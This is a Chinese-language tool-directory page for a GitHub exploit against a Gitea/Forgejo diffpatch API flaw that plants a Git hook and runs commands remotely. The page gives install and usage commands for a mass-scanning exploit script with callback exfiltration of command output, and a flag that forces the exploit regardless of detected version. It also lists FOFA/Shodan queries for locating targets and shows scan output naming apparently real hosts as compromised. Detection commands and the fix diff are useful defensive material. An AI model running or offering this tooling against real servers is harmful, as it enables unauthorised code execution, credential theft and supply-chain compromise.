Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE。裸克隆 → post-index-change 钩子注入。CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
工具/GitHubGitHub/shinthink/cve-2026-60004
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用数据泄露渗透测试红队
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE。裸克隆 → post-index-change 钩子注入。CVSS 9.8 | CWE-94 | Gitea < 1.27.1

查看仓库
91个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-60004 — Gitea Diffpatch Git Hook 远程代码执行(RCE)

裸克隆钩子注入 → post-index-change → 任意命令执行


概述

CVE-2026-60004 是 Gitea 和 Forgejo 自托管 Git 平台中的一个严重级别(CVSS 9.8)预认证远程代码执行漏洞,影响 1.17 至 1.27.0 版本。

该漏洞利用了 POST /api/v1/repos/{owner}/{repo}/diffpatch API 端点中的裸克隆设计缺陷。Gitea 在裸临时克隆中应用用户提供的补丁——此时仓库根目录就是 $GIT_DIR 本身。通过两次提交相同的恶意补丁,攻击者可触发 add/add 冲突,从而让 Git 的三方合并回退(-3,Git 2.32+)将可执行的 post-index-change 钩子直接写入 $GIT_DIR/hooks/。Git 在索引更新期间自动执行该钩子,从而以 Gitea 服务账户身份实现任意命令执行。

需要仓库写入权限——由于 Gitea 默认开放注册,无需邮箱验证、管理员审批或仓库创建限制,因此极易获得。

受影响版本

版本状态
< 1.17不受影响(diffpatch 路由尚未引入)
1.17 — 1.27.0存在漏洞
1.27.1+已修复

发现者: Shai Rod (NightRang3r),2026 年 7 月 28 日 项目: Gitea / Forgejo(自托管 Git 服务) 组件: diffpatch API 端点、裸临时克隆


漏洞机制

根本原因

该漏洞源于 services/repository/files/patch.go 中的单个参数:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

在裸克隆中没有工作树——仓库根目录就是 $GIT_DIR。因此,文件路径为 hooks/post-index-change 的恶意补丁会直接落入 Git 真实的钩子目录,而不是沙箱化的工作树中。

git apply 调用进一步加剧了这一问题:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

攻击原理

  1. 裸克隆不提供沙箱——临时克隆的根目录是 $GIT_DIR,因此路径 hooks/post-index-change 会映射到真实的钩子目录。
  2. --cached 并非万无一失——尽管使用了 --cached 标志,Git 2.32+ 中的 -3 三方回退在 add/add 冲突期间仍会将合并结果写入工作树。
  3. 双重提交触发冲突——第一次 apply 将钩子添加到索引中;第二次 apply 产生 add/add 冲突,三方合并将文件写入磁盘,Git 随后执行该文件。
  4. Git 自动执行 post-index-change——更新索引后,只要该钩子存在且可执行,Git 就会无条件运行它,无需任何配置。
  5. 钩子中的命令无法修改索引——由于 git apply 持有索引锁,钩子内执行 git update-index 会死锁。请使用 HTTP 回调(curl)或反弹 shell 来外传输出。

攻击流程

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

已验证的源代码引用

服务端日志检测

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

关键设计缺陷

裸克隆与非裸克隆之间的差异——一个布尔参数——决定了补丁路径是无害的工作树条目,还是直接落入 Git 内部目录的可执行钩子。修复在 diff 中恰好更改了一个字符(true → false),这就是该提交被标记为 MISC 类别下的 "refactor: git patch apply" 而非 SECURITY 类别的原因。本应被沙箱限制在索引(--cached)中的操作被 Git 自身的三方合并机制悄然破坏,且没有任何额外的防护措施阻止钩子文件在裸克隆的 $GIT_DIR 中被创建。


安装

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

使用方法

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

参数

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

概念验证(PoC)

单目标

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

批量扫描

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

回调输出(按目标自动保存)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

影响

成功利用可导致以 Gitea 服务账户身份远程执行代码:

  • 提取 app.ini 配置——数据库凭据、SMTP 密钥、OAuth 应用密钥、LFS/JWT 密钥
  • 访问所有托管的仓库、提交历史和 LFS 对象
  • 横向移动至 Gitea 主机可访问的内部服务(CI/CD、软件包仓库、容器镜像仓库)
  • 通过 SSH 密钥或影子管理员账户部署持久化后门
  • 软件供应链入侵——向实例托管的仓库中注入后门

无需实例上的任何账户——注册默认开放。


修复(1.27.1)

Gitea 在 1.27.1 版本(提交 470d34b)中通过以下方式修复了该漏洞:

  • 将临时克隆从裸克隆改为非裸克隆,使攻击者控制的文件路径落入工作树,而不是直接进入 $GIT_DIR/hooks/
  • 添加警告注释,说明 --index 操作在某些条件下可能与工作树交互
  • 添加单元测试(TestGitPatchPrepare),通过检查是否存在 .git 子目录来断言临时克隆为非裸克隆
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

该修复以 "refactor: git patch apply" 的形式出现在 1.27.1 版本说明的 MISC(杂项)类别下,而非 SECURITY(安全)类别下,这使得只扫描与安全相关变更日志条目的管理员很容易错过这一关键更新。CherryPick 中相同的裸克隆模式也已一并修复。


免责声明

仅供教育和授权测试目的使用。

未经所有者明确许可,请勿针对任何系统使用。作者对滥用行为不承担任何责任。


参考资料

资源链接
Gitea 修复提交

由 Shai Rod (NightRang3r) 发现。与 Gitea 或 Forgejo 无关联。

下载工具
文件行号用途
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true)——创建裸克隆
services/repository/files/patch.go206-209带 --index --cached -3 标志的 git apply
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push()——持久化攻击者状态
services/repository/files/cherry_pick.go~170CherryPick 中存在相同的裸克隆模式(也已修复)
470d34b
研究人员NightRang3r
CWE-94代码注入
Git 钩子post-index-change